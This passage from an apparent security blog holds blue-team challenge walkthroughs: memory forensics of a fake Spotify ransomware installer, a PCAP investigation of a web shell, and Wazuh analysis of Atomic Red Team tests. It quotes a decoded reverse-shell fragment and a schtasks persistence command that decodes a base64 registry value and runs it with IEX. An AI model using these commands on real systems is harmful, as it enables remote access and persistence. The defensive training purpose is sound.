Now let’s tie this back to the scenario. We’re told that “the employee mentioned that they had recently downloaded and installed software, believing it to be a legitimate application.“One process that immediately stands out is SpotifySetup.exe, which neatly fits into the scenario.

At this stage, we’ve got a strong lead and a suspicious file potentially masquerading as a familiar app.

Question 2: What is the full path of the malicious file?

Now that we’ve identified the suspicious executable, it’s time to dig a little deeper and determine the full path of the file on disk.

To do this, we’ll pivot away from windows.pslist and instead leverage the windows.pstree module. While windows.pslist gives us a flat view of running processes, _windows.pstree_ helps us understand parent€“child relationships and often includes additional context, such as the executable path, when it’s available in memory.

A clean way to narrow our focus is to apply some pattern matching to the output. Think of this as a rough equivalent to grep on Linux. Since we’re running Volatility on Windows, we can pipe the output directly into the PowerShell Select-String cmdlet and filter for references to our suspicious binary, SpotifySetup.exe.

vol -f .\MemLoot.vmem windows.pstree | Select-String -Pattern “SpotifySetup.exe”

Running this command and filtering the results reveals the full path of the executable on the original host’s disk:

C:\Users\Zifrana\Downloads\SpotifySetup.exe

Volatility: Uncovering the malicious file path using windows.pstree

This makes sense given the scenario. The employee mentioned downloading what they believed was legitimate software, and the Downloads directory is a common staging point for exactly that kind of activity. At this point, we’ve confirmed not only the suspicious process name, but also where it lived on disk, giving us valuable context for how the ransomware likely made its way onto the system.

Questions 3 & 4:

What is the PID of the malicious file?

When was the malicious file executed?

One of the nice bonuses of using windows.pstree instead of stopping at windows.pslist is that we get access to more contextual details than just a process name and hierarchy. In addition to showing us where the executable lived on disk, the output also exposes the process ID (PID) and the creation timestamp for that process.

That gives us everything we need to answer Question 3 and Question 4 without introducing any new commands.

Volatility: Uncovering the malicious file PID and executed timestamp using windows.pstree

At this point, we’ve established not just what executable ran and where it came from, but also when it entered execution and how it appeared in the process tree. With those answers in hand, we’re in good shape to move into deeper analysis.

Question 5: What is the real name of the malicious file?

Continuing our analysis of the malicious SpotifySetup.exe, we now need to determine the real name of the file, not just the display name used to lure a victim into launching it.

To do that, we’ll take advantage of an optional argument available in Volatility‘s windows.pslist module. The --dump option allows us to extract the in-memory contents associated with a specific process so that we can perform offline analysis.

Volatility: Dumping the contents of the malicious process

Using the PID we identified earlier, we can run:

vol -f .\MemLoot.vmem windows.pslist –dump –pid 6816

This command produces a .dmp file containing the dumped memory for that process. While this isn’t the same as the original executable copied directly from disk, it can be enough to extract useful metadata that survives in memory.

For that analysis, we’ll use ExifTool, a widely used metadata inspection utility. ExifTool is already installed in the Tools folder of the LetsDefend environment, which makes it convenient. We can point it directly at the dumped file like this:

.\exiftool.exe -f “C:\Users\LetsDefend\Desktop\ChallengeFile\6816.SpotifySetup.e.0x7ff6ad990000.dmp”

ExifTool: Identifying the Original File Name

Reviewing the output, the Original File Name field sticks out. Instead of anything resembling Spotify, the value is listed as DarkHav0c.

That’s a far spookier name than the one presented to the user and a strong indicator that the executable was masquerading as legitimate software. At this point, the gap between the file’s display name and its embedded metadata helps confirm that we’re dealing with a trojanized installer rather than an accidental false positive.

Question 6: What file extension does the ransomware use after encryption?

Now that we’ve collected a solid amount of information about the file itself, let’s shift focus toward understanding how it operates. We’ve already established that this binary behaves like ransomware, and one of the most visible indicators of successful encryption is the file extension appended to victim files.

To identify that extension, we’ll start by returning to the user path we discovered back in Question 2 and build outward from there. This time, we’ll rely on Volatility‘s windows.filescan plugin, which searches memory for file objects that may still be referenced by the operating system.

For a little peek behind the curtains, this step gave me some trouble.

My first instinct was to filter the output down to the user’s directory using pattern matching. I tried piping the results through findstr to look at everything under \Users\Zifrana\:

vol -f .\MemLoot.vmem windows.filescan | findstr “\Users\Zifrana"

I also tried exporting the output to a text file, hoping that it would make it easier to sift through:

vol -f .\MemLoot.vmem windows.filescan > filescan.txt

Unfortunately, neither approach turned up anything useful. The exported output was truncated, and the filtered results didn’t surface any meaningful indicators related to encrypted files.

At that point, there was only one option left. Manual mode.

vol -f .\MemLoot.vmem windows.filescan

Letting the full file scan stream directly to the terminal isn’t elegant, and it takes a loooooong time to run, so be patient: Maybe you’ll spot something interesting as it zips by…

Volatility: Locating the needle in the haystack

Finally, once it completes, we can start to scroll up through the output. Thankfully, we don’t have to go too far before we stumble across a familiar file extension, .Hav0c.

That extension gives us our answer for Question 6 and provides another strong indicator tying the observed activity back to the malicious binary we’ve been analyzing.

Question 7: Identify the IP address and port the ransomware attempted to communicate with.

To tackle Question 7, we’re going to pivot to another Volatility module: windows.netscan. This plugin scans memory for network artifacts, including active and recently closed connections, IP addresses, and associated ports.

Our goal here is to identify network activity tied specifically to the malicious binary, SpotifySetup.exe.

To make that easier, we’ll run the module and redirect its output to a text file. This gives us the flexibility to quickly search through the results using a text editor rather than manually scrolling through terminal output. In the example below, the results are written to a file named netscan.txt:

vol -f .\MemLoot.vmem windows.netscan > netscan.txt

Once that command completes, we can open netscan.txt in a tool like Notepad and use its built-in search functionality. Press Ctrl + F, search for SpotifySetup, and jump to the first matching entry.

Notepad: Analyzing the output of Volatility’s windows.netscan

From that entry, we can see that SpotifySetup.exe established an outbound connection to a ForeignAddr of 104[.]152[.]52[.]238 over ForeignPort 6548.

This is a nice find because it gives us visibility into the attacker’s external infrastructure like a potential command and control address. It’s also great for defensive purposes, such as blocking the indicator or pivoting into threat intelligence to discover more related activity.

Questions 8 & 9:

What is the PPID of the malicious file?

Identify the initiating process that executed the malicious binary.

Finally, we’ve made it to the last two questions, and fittingly, they take us right back to where this investigation began.

To answer Question 8 and Question 9, we need to revisit the windows.pslist output from Question 1 and take a closer look at how SpotifySetup.exe was launched.

Within the process listing, we can identify the parent process ID (PPID) associated with the malicious binary. The PPID for SpotifySetup.exe is 5864.

Volatility: Identifying the malware PPID with windows.pslist

With that, we can tighten our focus and determine which process was responsible for launching the ransomware. A quick way to do that is to search the process list for the matching PID:

vol -f .\MemLoot.vmem windows.pslist | findstr “5864”

Volatility: Uncovering the PPID

VoilÃ ! That search reveals that process 5864 maps directly to explorer.exe, the Windows shell. Since explorer.exe is responsible for handling user-initiated actions like double-clicking files or executing programs, this confirms the user’s story of good, ole social engineering, where the employee reported downloading and installing what they believed to be legitimate software.

Now that we’ve gotten everything scoped, let’s close out this investigation!

Conclusion:

How fun was that! A big thank you to LetsDefend for another awesome challenge.

This week’s investigation was a great starting point into practical memory forensics, giving us a firsthand look at how ransomware activity can be reconstructed using volatile artifacts alone. From identifying a suspicious executable in memory, to uncovering its true name, spotting encrypted files, and finally surfacing outbound network connections, this challenge showcased just how much visibility RAM can provide during incident response. Pretty cool, right?

As we worked through the memory dump, we were rebuilding the attack chain one artifact at a time. Each question flowed naturally into the next, and the investigation felt logical and intuitive as we pivoted between process listings, file scans, and network artifacts using Volatility. For me, a structured approach makes it especially satisfying, since you’re not just answering questions, you’re reinforcing how real incident response workflows come together. Love it!

I picked this challenge because while I’ve used Volatility plenty of times, I hadn’t tried it on Windows before and wanted to see how different it felt compared to Linux. On top of that, opportunities to practice memory analysis in the real world don’t come up often. It can be intimidating at first, but challenges like this help make it click and let you get your reps in. Practice really does make perfect.

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://app.letsdefend.io/challenge/memloot

GitHub — Volatility 3: https://github.com/volatilityfoundation/volatility3

Volatility Command Reference: https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#netscan

SANS Hunt Evil Poster: https://www.sans.org/posters/hunt-evil

ExifTool: https://exiftool.org/

Blue Team Labs Online — Network Analysis - Web Shell Challenge Walkthrough

Sun, 08 Mar 2026 00:00:00 +0000

Blue Team Labs Online: Network Analysis — Web Shell Challenge Walkthrough

PCAP Threat Hunting with Wireshark and NetworkMiner: Detecting Port Scans, Recon Tools, and Reverse Shell Activity.

Image Credit: https://blueteamlabs.online/home/challenge/network-analysis-web-shell-d4d3a2821b

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog while looking for a clear and detailed guide to the Network Analysis — Web Shell blue team challenge from Blue Team Labs Online, you’re in the right place. This one leans heavily into network‑level investigation, where every PCAP tells a story and every packet might be a clue.

In this challenge, we’re stepping into the role of a network defender investigating a suspicious SIEM alert for port scanning activity. An internal host suddenly began probing another system, and it’s our job to figure out what’s happening and confirm whether it’s malicious. Fortunately, we’re given a PCAP containing the full exchange, so we have everything we need to analyze what’s going on.

We’ll be using Wireshark to break down the traffic patterns and identify indicators of port scanning, followed by NetworkMiner to dig deeper into user agents, parameters, web shells, and encoded command execution. Along the way, we’ll jump over to CyberChef to clean up payloads, decode some malicious commands, and figure out exactly what kind of shell connection is established.

I’ll walk through each stage clearly so you can build your own workflow for approaching similar packet‑driven investigations. By the end, you’ll have a solid sense of how to pivot between tools like Wireshark, NetworkMiner, and CyberChef to validate detections, uncover malicious activity, and piece together an attack chain hiding inside raw network traffic. Let’s go!

And, hey, if you find this walkthrough helpful, whether it levels-up your skills, gets you over a stumbling block, or just serves as a handy reference — consider following me for more weekly deep dives.

Thanks for reading and going on this investigation with me!

Challenge Scenario:

The SOC received an alert in their SIEM for ‘Local to Local Port Scanning’ where an internal private IP began scanning another internal system. Can you investigate and determine if this activity is malicious or not? You have been provided a PCAP, investigate using any tools you wish.

Setup the Analysis Environment & Extract the Challenge File:

Safety first! It’s always important when working with lab/challenge files from BTLO (or any educational lab/challenge/range) to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment. For this walkthrough, I’m using FLARE-VM which is “a collection of software installations scripts for Windows systems that allows you to easily setup and maintain a reverse engineering environment on a virtual machine (VM).”

Once you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!

Questions 1 & 2:

What is the IP responsible for conducting the port scan activity?

What is the port range scanned by the suspicious host?

Let’s get cooking. After extracting the challenge files, we stumble across the artifact we need: BTLOPortScan.pcap. This file contains captured network traffic, giving us visibility into the communication that triggered the alert.

Overview of the Challenge File

To start, we’ll load the PCAP into Wireshark. One of the quickest ways to spot scanning behavior is to look at the TCP conversations. This gives us a high‑level view of which hosts are talking and which ports they’re communicating over.

To reach this view, navigate to Statistics > Conversations > TCP and sort the Port B (destination port) column.

Wireshark: Identifying port scan activity through the conversations view

Right away, we see a pattern emerge: the Address A (source IP address) 10.251.96.4 sends a couple of packets to each well‑known port, incrementing one by one from port 1 up through port 1024.

Wireshark: Identifying the top end of the port range scanned by the suspicious IP

This behavior is characteristic of a vertical port scan, where a single host probes many ports on a single destination. With that, we’ve got everything needed to answer Questions 1 & 2.

Question 3: What is the type of port scan conducted?

Now that we’ve identified the port scan activity from the suspicious host, we need to determine the specific type of scan it performed. To illustrate this, we’ll apply a Wireshark display filter to inspect the TCP communication to and from a specific port.

On the Wireshark home screen, we can enter the following filter to isolate traffic from and to the suspicious host over TCP port 1, for example:

ip.addr==10.251.96.4 && tcp.port==1

The first packet shows that the suspicious host sends a TCP SYN packet to the target on TCP port 1.

Wireshark: Looking at the TCP conversation for port 1

The destination host responds with a RST packet because the port is closed. This behavior aligns with how Nmap describes a SYN scan: “the OS responds to the unexpected SYN/ACK with a RST packet… Because the three-way handshake is never completed, SYN scan is sometimes called half-open scanning”.

TCP SYN (Stealth) Scan (-sS) | Nmap Network Scanning _SYN scan is the default and most popular scan option for good reason. It can be performed quickly, scanning thousands…_nmap.org

In other words, the suspicious host initiates the handshake with a SYN, receives either a SYN/ACK or RST, and never completes the full connection. That’s the indicator of a TCP SYN scan which answers Question 3.

Question 4: Two more tools were used to perform reconnaissance against open ports, what were they?

To answer this one, we’ll pivot away from Wireshark over to another excellent network forensics tool: NetworkMiner. It offers robust PCAP analysis capabilities, which makes it handy for identifying what tools were used during the reconnaissance phase. Our goal is to examine the User‑Agent headers in the captured traffic to see if they reveal anything interesting.

There’s just one catch: NetworkMiner doesn’t ingest PCAPNG files, so we need to convert the challenge’s PCAPNG into a standard PCAP. In Wireshark:

Go to File > Save As
Select the Wireshark/tcpdump/...-pcap option to save a copy in PCAP format

With the file converted, launch NetworkMiner and open the new PCAP. IMPORTANT: Make sure you’re working in a safe analysis environment. BTLO notes that this PCAP contains real malware, and NetworkMiner will automatically reassemble any files reconstructed from the traffic, including malicious ones.

Once the file loads:

Click the Parameters tab
Enter User-Agent in the Filter keyword box
Sort the results by Parameter value to group similar agents together

NetworkMiner: Filtered view of User-Agent headers exposing recon tools

Bingo! Two entries stand out immediately as well‑known reconnaissance tools: gobuster and sqlmap.

Gobuster is a directory brute‑forcing tool often used during web enumeration.
Sqlmap is an automated penetration testing tool for detecting and exploiting SQL injection vulnerabilities.

Both tools conveniently identify themselves in the User‑Agent header (for example, gobuster/3.0.1 or sqlmap/1.4), which is why sorting by parameter value works so well here.

Question 5: What is the name of the php file through which the attacker uploaded a web shell?

Now let’s stick with the Parameters tab in NetworkMiner and clear the previous filter. Instead of searching for User-Agent values this time, we’ll look for the keyword .php to identify anything that might hint at a file upload function an attacker could abuse.

Scanning through the filtered results, we stumble across something interesting: a POST request to /upload.php in frame 16102. That might work, right?

NetworkMiner: Parameters tab showing POST request toward an upload function

But this isn’t necessarily the file we’re looking for. To confirm where the upload originated, we should inspect the second entry tied to this same frame. In that entry, the Referer parameter points to /editprofile.php.

That’s our answer! The attacker uploaded the web shell through editprofile.php, not upload.php. The presence of the Referer header makes this easy to see and correlates the upload action directly to the vulnerable file.

Question 6: What is the name of the web shell that the attacker uploaded?

Now that we’ve found the file abused to upload a web shell, let’s turn our attention to identifying the shell itself before we dive into deeper analysis. For this, we’ll stay right in the same Parameters view in NetworkMiner.

Conveniently for us, there’s a third parameter in frame 16102, listed directly beneath the entries we examined in the previous question. It includes a filename header with the value dbfunctions.php.

That’s our web shell!

NetworkMiner: Parameters tab showing filename=dbfunctions.php associated with the upload request

Questions 7 & 8:

What is the parameter used in the web shell for executing commands?

What is the first command executed by the attacker?

Our next tasks are to pinpoint the parameter the web shell uses to execute commands and identify the first command the attacker ran. This part is nice and straightforward. Right below the filename parameter we spotted in Question 6, we see clear evidence of command execution using the cmd parameter.

Reviewing the entries, we see multiple commands sent through this parameter, but the very first is the id command. This is a typical discovery step for an attacker because it reveals the user context that the web shell is running under.

NetworkMiner: Parameters tab showing id as the first command executed

Questions 9 & 10:

What is the type of shell connection the attacker obtains through command execution?

What is the port he uses for the shell connection?

We’re nearing the end of our investigation, and the final two questions have us analyzing the malicious command execution that follows the discovery commands id and whoami. We can find the attacker’s command line directly below the execution entry we identified in the last question.

NetworkMiner: Copying the command execution payload

To make this easier to read and understand, we’ll grab an overview of the full command and do a little cleanup in CyberChef. To copy the entry in NetworkMiner, right‑click the row and select copy selected rows.

Next, open CyberChef (web version or offline if you have it in your analysis environment). Paste the copied row into the input field. From the operations menu, add URL Decode to the recipe. This strips away the URL‑encoded characters that make the command harder to read.

In the output window, we now have everything we need to answer the final two questions.

CyberChef: Decoding the attacker’s command execution to analyze the shell

The decoded command shows two important behaviors. First, the attacker sets up a TCP socket and connects back to a remote listener on the specified IP and port:

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((“IP”, PORT))

This is our first clue. It establishes an outbound connection initiated from the compromised host, meaning the attacker is expecting a callback.

The key indicator appears a bit further down in the command:

p=subprocess.call(["/bin/sh","-i"])

This spawns an interactive shell that pipes input and output over that established socket. When we put this together, the answer becomes clearer: the attacker obtains a reverse shell.

From the decoded command, we can also see that the connection is made to port 4422, where the attacker’s listener is waiting.

So, the attacker uses an interactive reverse shell, and the connection targets port 4422.

Conclusion:

How fun was that! A big thank you to Blue Team Labs Online for another awesome challenge.

This week’s investigation was a great deep dive into practical network forensics, giving us a hands‑on look at how attacker activity can be investigated inside raw packet data. From uncovering port scans to tracking reconnaissance tools, spotting a web shell upload, and finally decoding an interactive reverse shell, this challenge showcased how much insight a single PCAP can provide.

As we moved through the traffic, we were hot on the attacker’s heels, rebuilding their attack chain. Each question flowed naturally into the next, and the investigation felt steady and logical as we pivoted between Wireshark, NetworkMiner, and CyberChef. It’s always satisfying when a challenge hits that sweet spot where you can validate detections, uncover attacker behavior, and sharpen your forensics instincts all at once. Nice!

I chose this week’s challenge to keep leveling up my network defense skills and get more reps with Wireshark and NetworkMiner to analyze malicious activity directly at the packet level. Breaking down encoded payloads, recognizing attacker tooling, and uncovering reverse shell behavior never gets old, and this one delivered exactly the kind of structured practice I’m into.

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://blueteamlabs.online/home/challenge/network-analysis-web-shell-d4d3a2821b

Flare-VM: https://github.com/mandiant/flare-vm

Wireshark: https://www.wireshark.org/

NetworkMiner: https://www.netresec.com/?page=NetworkMiner

Nmap — TCP SYN (Stealth) Scan (**-sS**): https://nmap.org/book/synscan.html

sqlmap: https://sqlmap.org/

gobuster: https://github.com/OJ/gobuster

CyberChef: https://gchq.github.io/CyberChef/

Imperva — “Reverse Shell”: https://www.imperva.com/learn/application-security/reverse-shell/

TryHackMe — Monday Monitor Challenge Room Walkthrough

Mon, 02 Mar 2026 00:00:00 +0000

TryHackMe: Monday Monitor Challenge Room Walkthrough

Wazuh SIEM Forensics: Investigating Persistence, Credential Dumping, and Exfiltration with Atomic Red Team.

Image Credit: https://tryhackme.com/room/mondaymonitor

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog while looking for a detailed guide to the Monday Monitor blue team challenge from TryHackMe, you’re in the right place. This room is all about the investigative side of cyber defense, blending endpoint logging, analyzing SIEM events, with a sprinkle of adversary emulation to keep things interesting.

In this challenge, we’re stepping into the role of a cyber sleuth brought in to help Swiftspend Finance level up their security program. Several controlled tests were executed across the environment, and it’s our job to work through the evidence, validate detections, and piece together the full attack chain. Fortunately, we’re given access to their Wazuh SIEM dashboard that’s ingesting Sysmon data from the endpoint. That gives us a rich dataset of process activity, command lines, network connections, and behavioral signals to work with.

We’ll be using Wazuh’s security events module, saved searches, field filtering, and a bit of intuition to uncover everything from initial access to credential dumping and exfiltration. Along the way, tools like CyberChef help us decode suspicious payloads, and references to MITRE ATT&CK anchor our analysis in real‑world tactics, techniques, and procedures.

I’ll walk through each step clearly, and by the end you’ll have a solid sense of how to approach similar detection‑driven investigations using Wazuh. Sounds like fun, right? Let’s go!

And, hey, if you find this walkthrough helpful — whether it levels up your skills, gets you over a stumbling block, or just serves as a handy reference — please consider following me to get more content like this.

Thanks for reading and going on this investigation with me!

Challenge Scenario:

Swiftspend Finance, the coolest fintech company in town, is on a mission to level up its cyber security game to keep those digital adversaries at bay and ensure their customers stay safe and sound.

Led by the tech-savvy Senior Security Engineer John Sterling, Swiftspend’s latest project is about beefing up their endpoint monitoring using Wazuh and Sysmon. They’ve been running some tests to see how well their cyber guardians can sniff out trouble. And guess what? You’re the cyber sleuth they’ve called in to crack the code!

The tests were run on Apr 29, 2024, between 12:00:00 and 20:00:00. As you dive into the logs, you’ll look for any suspicious process shenanigans or weird network connections, you name it! Your mission? Unravel the mysteries within the logs and dish out some epic insights to fine-tune Swiftspend’s defences.

Question 1: Initial access was established using a downloaded file. What is the file name saved on the host?

For this room, we’re all about Wazuh, the open source security information event management (SIEM) platform. Swiftspend Finance recently paired Sysmon on the endpoint with Wazuh for centralized security monitoring. Let’s get into these logs and see what we can find.

To get started, launch the provided virtual machine and connect to the Wazuh dashboard in your web browser using the URL from the challenge. Once you’re logged in, navigate to the Security events module by selecting its icon on the dashboard.

Wazuh: Navigating to the Security events

Next, load the saved query Monday_Monitor to pull up the relevant logs for this challenge.

Wazuh: Loading the Monday_Monitor saved query

Once the query loads, we need to set the correct time window for when the security engineering team ran the tests. According to the challenge scenario:

The tests were run on Apr 29, 2024, between 12:00:00 and 20:00:00.

After clicking the Show dates button, set the time range options to Absolute and select the correct start and end timestamps.

Wazuh: Setting the date/time

With the groundwork complete, we can finally start digging into data that falls within the scope of the test.

Wazuh: Setup completed

To answer Question 1, we need to identify the downloaded file used for initial access. Since this is a controlled red team test conducted by Swiftspend’s Security Engineering team, and not a typical scenario where a user accidentally downloads and executing a malicious file, our first move is to explore the built‑in detection rules.

Click the + Add Filter button beneath the search bar. For filtering, set the field to rule.description with the operator is. In the value dropdown, look through what detection rules triggered during the test. Here, the Microsoft Office Product Spawning PowerShell rule stands out as a likely indicator that a malicious document might have established the initial access.

Wazuh: Filtering Microsoft Office Product Spawning Windows shell rule.descriptions

Before we dig further, let’s make the results easier to read. From the available fields on the left, add data.win.eventdata.commandLine to the selected fields. This lets us view process command lines without expanding individual records. With this in place, we can focus on events where Office spawned PowerShell and quickly see what each command executed.

Now we’ve got the right query, the right timing, the correct rule filter, and the process command line displayed. The last step is to identify download activity that reveals the file name. To do that, search for HTTP in the search box.

Wazuh: Searching for HTTP events to identify the downloaded file used for initial access

Perfect. This narrows the results down to two hits showing that powershell.exe downloaded SwiftSpend_Financial_Expenses.xlsm.

Questions 2 & 3:

What is the full command run to create a scheduled task?

What time is the scheduled task meant to run?

Our next tasks are to identify scheduled task creation and determine when that task is scheduled to run. This is important because creating a scheduled task is a common persistence technique, and spotting these entries in Wazuh gives us a strong signal that the test is attempting to plant something on the host. Let’s get to work!

First, Clear the rule.description filter we added in Question 1. To keep things simple, use the search field to look for schtasks.exe, the command‑line tool used to “create, delete, query, change, run, and end scheduled tasks on a local or remote computer”.

This search returns four results, and in the command line we can clearly see that schtasks.exe is being used to create a new scheduled task. Copying that full line gives us the answer to Question 2:

Wazuh: Identifying schtasks.exe activity

"cmd.exe" /c "reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyB3d3cueW91YXJldnVsbmVyYWJsZS50aG0= /f & schtasks.exe /Create /F /TN "ATOMIC-T1053.005" /TR "cmd /c start /min \"\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\SOFTWARE\\ATOMIC-T1053.005).test)))" /sc daily /st 12:34"

And conveniently nestled within this same command is the answer to Question 3. The /st argument specifies the scheduled time, and here it’s set to: 12:34.

This command line also hints at the tooling behind the test: Atomic Red Team. We can see the test path ATOMIC-T1053.005, which maps to the MITRE ATT&CK technique T1053.005 Scheduled Task/Job: Scheduled Task. Atomic tests like this are often used to validate detections, which fits perfectly with Swiftspend’s testing scenario.

Question 4: What was encoded?

Next up, we need to figure out the contents of the encoded string we saw in the previous command. In addition to creating a scheduled task, the command also adds a registry value named test under the key HKCU\SOFTWARE\ATOMIC-T1053.005. That value is stored as a REG_SZ string:

cGluZyB3d3cueW91YXJldnVsbmVyYWJsZS50aG0=

Wazuh: Identifying a Base64 encoded string in the command line

Later in the command, we see PowerShell calling FromBase64String, which tells us the value stored in the registry is Base64 encoded. So now we have the encoded string and the method used to decode it. All we need to do is decode the Base64 manually to uncover the actual payload.

One easy option is to copy the encoded string and paste it into CyberChef, the popular web‑based data manipulation tool. Once the string is in the input field, apply the From Base64 operation, and let CyberChef do its thing.

CyberChef: Decoding the Base64 encoded string

Voila! The decoded value reveals a simple ping command pointed at an external website, likely used as a heartbeat to test whether the host has outbound network connectivity: A nice find tucked away in the registry.

Question 5: What password was set for the new user account?

Moving right along, we’re now looking for evidence of a user account being created or modified, specifically, the password that was set for that account. No problem!

From the earlier questions, we already know the Atomic Red Team tests are relying on PowerShell to execute their activities. Let’s follow that thread and switch our filter from schtasks.exe to powershell.exe.

With this filter applied, we get a higher‑level view of all commands executed by PowerShell in the data.win.eventdata.commandLine field. While this is valuable context, we don’t need everything just yet. We only need the entry where a user account’s password is set.

Scroll through the results and you’ll stumble across a line showing PowerShell spawning the classic [net user](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/net-user) command to modify Windows user accounts.

Wazuh: Identifying modification of the guest account

In this case, we see the guest account being updated, and its password is set to: I_AM_M0NIT0R1NG

Question 6: What is the name of the .exe that was used to dump credentials?

To answer Question 6, we need to identify the executable used to dump credentials on the device. With the powershell.exe filter still applied from the last question, you might’ve noticed several suspicious entries mixed in with the command output. A couple of minutes after the modification of the guest account, we stumble across something especially interesting: a command that references an output file named lsass.dmp.

Wazuh: Identifying OS Credential Dumping activity

Before we dive into the executable itself, let’s review why LSASS is such a high‑value target. According to Microsoft Learn, LSASS, or the Local Security Authority Subsystem Service:

Stores credentials in memory on behalf of users with active Windows sessions. The stored credentials let users seamlessly access network resources, such as file shares, Exchange Server mailboxes, and SharePoint sites, without reentering their credentials for each remote service.

LSASS can store credentials in multiple forms, including:

Reversibly encrypted plaintext.

Kerberos tickets (ticket-granting tickets (TGTs), service tickets).

NT hash.

LAN Manager (LM) hash.

Reexamining the command in the logs, we see that the Atomic Red Team test executed an executable named: memotech.exe

This binary is responsible for generating the lsass.dmp file. And if the command line hasn’t already given it away, memotech.exe looks a whole lot like a disguised version of Mimikatz, an infamous credential dumping tool frequently used in both red team simulations and real‑world attacks.

Question 7: Data was exfiltrated from the host. What was the flag that was part of the data?

Our final challenge is to identify the command used for data exfiltration and locate the classic TryHackMe flag hidden inside the exfiltrated content. We’ll keep the powershell.exe filter applied from the previous questions so we can stay focused on the Atomic Red Team activity.

Scrolling through the remaining entries in the testing data, we’re looking for a command that clearly suggests data exfiltration. We stumble into it as a newer result in the logs. The main giveaway (aside from the flag itself) is the structure of the command. It includes a URL for Pastebin, a commonly abused text‑sharing site attackers use to store exfiltrated data (MITRE ATT&CK T1567.003.)

Wazuh: The content of the data exfiltration command

Reading through the full command, we find the outbound request that sends content directly to Pastebin. Embedded inside that transmitted data is the TryHackMe flag we’re looking for.

With that, we’ve wrapped up our investigation into the security engineering team’s Atomic Red Team tests. Nice work crossing the finish line!

Conclusion:

How fun was that! A big thank you to TryHackMe for another awesome challenge.

This walkthrough was a great example of how endpoint visibility can make or break an investigation. By combining Wazuh and Sysmon, we were able to trace an entire attack simulation chain from initial access to persistence, credential dumping, and data exfiltration. It highlighted endpoint monitoring and visibility is such a critical part of any defensive strategy.

As we moved through each question, we didn’t just follow the attacker’s activity. We also built a deeper understanding of how Wazuh presents data, how filtering and field selection guide analysis, and how small artifacts like encoded registry entries or scheduled task configurations can reveal much bigger things happening behind the scenes. Challenges like this are rewarding because each step builds naturally into the next, and the investigation feels both logical and engaging.

I chose this week’s challenge because even though I’m familiar with other SIEM platforms, I’d never actually used Wazuh. This was a great chance to learn the platform by testing it against an attack simulation and seeing how it handles real adversary techniques. It’s always satisfying when a controlled test lines up neatly with real‑world tradecraft, and Atomic Red Team makes that possible in such a clean and structured way. All in all, it was solid exposure to some new tooling and a good opportunity to get hands‑on time investigating activity inside a new SIEM environment.

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://tryhackme.com/room/mondaymonitor

Wazuh: https://wazuh.com/

Microsoft Learn — Schtasks.exe: https://learn.microsoft.com/en-us/windows/win32/taskschd/schtasks

Atomic Red Team GitHub: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/Indexes/Indexes-Markdown/index.md

CyberChef: https://gchq.github.io/CyberChef/

Microsoft Learn — net user: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/net-user

MITRE ATT&CK — OS Credential Dumping: LSASS Memory (T1003.001): https://attack.mitre.org/techniques/T1003/001/

MITRE ATT&CK — Mimikatz (S0002): https://attack.mitre.org/software/S0002/

MITRE ATT&CK — Exfiltration Over Web Service: Exfiltration to Text Storage Sites (T1567.003): https://attack.mitre.org/techniques/T1567/003/

CyberDefenders — RedLine Lab Walkthrough

Mon, 16 Feb 2026 00:00:00 +0000

CyberDefenders: RedLine Lab Walkthrough

Volatile Memory Forensics: Tracking Malware Execution, Suspicious Processes, and Attacker Infrastructure with Volatility 3 & REMnux

Image Credit: https://cyberdefenders.org/blueteam-ctf-challenges/redline/

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog while hunting for a comprehensive guide to the RedLine Lab challenge from CyberDefenders, you’re in the right place. If you’ve ever wanted to dip your toes into the world of memory forensics, this beginner-friendly challenge is a great place to start.

This lab drops us into an investigation where the only evidence we have is a memory dump. No disk image, no full forensic suite waiting for us. Just one volatile snapshot packed with clues about what happened, which malware was involved, and how the attacker moved through the system. Our job is to explore these threads, make sense of the artifacts, and understand the story. Don’t worry if you’re new to this topic. I’ll share plenty of resources that you can dig into during or after your own analysis.

But even with solid references, good tools make all the difference. For this walkthrough, we’ll rely primarily on Volatility, the popular memory forensics framework that makes analyzing memory dumps feel far more manageable. Once you get comfortable with it, you’ll see just how much information a single memory dump can reveal.

So, whether you’re brand-new to memory forensics or you’re just sharpening your investigative skills, this is a fantastic challenge to tackle. Let’s go!

Thanks for reading and going on this investigation with me!

Challenge Scenario:

As a member of the Security Blue team, your assignment is to analyze a memory dump using Redline and Volatility tools. Your goal is to trace the steps taken by the attacker on the compromised machine and determine how they managed to bypass the Network Intrusion Detection System (NIDS). Your investigation will identify the specific malware family employed in the attack and its characteristics. Additionally, your task is to identify and mitigate any traces or footprints left by the attacker.

Setup the Analysis Environment & Extract the Challenge File:

Get the Virtual Appliance | REMnux Documentation _The easiest way to get the REMnux distro is to download the REMnux virtual appliance in the OVA format, import it into…_docs.remnux.org

Once you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!

Question 1: What is the name of the suspicious process?

Let’s kick off this investigation by unzipping the challenge file, 106-RedLine.zip, which contains the artifact we’ll be examining: MemoryDump.mem.

You might be asking yourself what a .mem file actually is and how to read it. That’s exactly the point of this challenge. A .mem file is a raw memory dump of a system and captures a snapshot of its RAM at a specific point in time. This kind of image is a rich forensic artifact that lets us dig into evidence like processes and network activity, among other things.

To explore it, we’ll use Volatility 3, the modern version of the popular memory forensics framework described as “the world’s most widely used framework for extracting digital artifacts from volatile memory (RAM) samples.“I’ll simply refer to Volatility from this point forward. If you’re working in REMnux, Volatility is already included, so you’re good to go.

To start answering Question 1, we need to identify a suspicious process running on the compromised host. A pro tip to get familiar with available modules in Volatility is to check the built-in help:

vol3 -h

For this challenge, we’ll focus on the Windows modules. A reliable starting point for reviewing running processes is windows.pslist:

